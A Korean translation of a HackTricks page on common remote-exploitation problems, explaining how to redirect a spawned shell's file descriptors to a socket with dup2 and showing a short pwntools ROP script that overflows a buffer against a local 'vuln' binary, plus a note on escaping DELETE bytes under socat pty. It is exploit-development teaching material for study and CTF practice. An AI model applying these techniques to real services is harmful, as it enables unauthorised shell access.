mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
57 lines
4.1 KiB
Markdown
57 lines
4.1 KiB
Markdown
|
# 일반적인 Exploiting 문제
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||
|
|
||
|
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||
|
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||
|
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||
|
* **해킹 트릭을 공유하고 싶다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## 원격 Exploitation에서의 FDs
|
||
|
|
||
|
예를 들어 **`system('/bin/sh')`**를 호출하는 원격 서버로 exploit을 전송할 때, 이는 물론 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout 및 stderr(FDs `1` 및 `2`)에서 출력을 표시할 것입니다. 따라서 공격자는 셸과 상호 작용할 수 없을 것입니다.
|
||
|
|
||
|
이를 해결하는 한 가지 방법은 서버가 시작될 때 **FD 번호 `3`** (청취용)를 생성했다고 가정하고, 그 후에 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서, **`dup2`** 시스템 호출을 사용하여 stdin(FD 0)과 stdout(FD 1)를 공격자 연결의 FD 4(연결용)에 복제하여 실행된 후 셸과 연락할 수 있도록 만들 수 있습니다.
|
||
|
|
||
|
[**여기에서 exploit 예시**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
|
||
|
```python
|
||
|
from pwn import *
|
||
|
|
||
|
elf = context.binary = ELF('./vuln')
|
||
|
p = remote('localhost', 9001)
|
||
|
|
||
|
rop = ROP(elf)
|
||
|
rop.raw('A' * 40)
|
||
|
rop.dup2(4, 0)
|
||
|
rop.dup2(4, 1)
|
||
|
rop.win()
|
||
|
|
||
|
p.sendline(rop.chain())
|
||
|
p.recvuntil('Thanks!\x00')
|
||
|
p.interactive()
|
||
|
```
|
||
|
## Socat & pty
|
||
|
|
||
|
socat는 이미 **`stdin`**과 **`stdout`**를 소켓으로 전송합니다. 그러나 `pty` 모드에는 **DELETE 문자가 포함**되어 있습니다. 따라서 `\x7f` (`DELETE` -)를 보내면 exploit의 이전 문자가 **삭제**됩니다.
|
||
|
|
||
|
이를 우회하기 위해 **`\x7f`를 보내기 전에 이스케이프 문자 `\x16`을 추가**해야 합니다.
|
||
|
|
||
|
**여기에서** [**이 동작의 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||
|
|
||
|
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||
|
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||
|
* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
|
||
|
|
||
|
</details>
|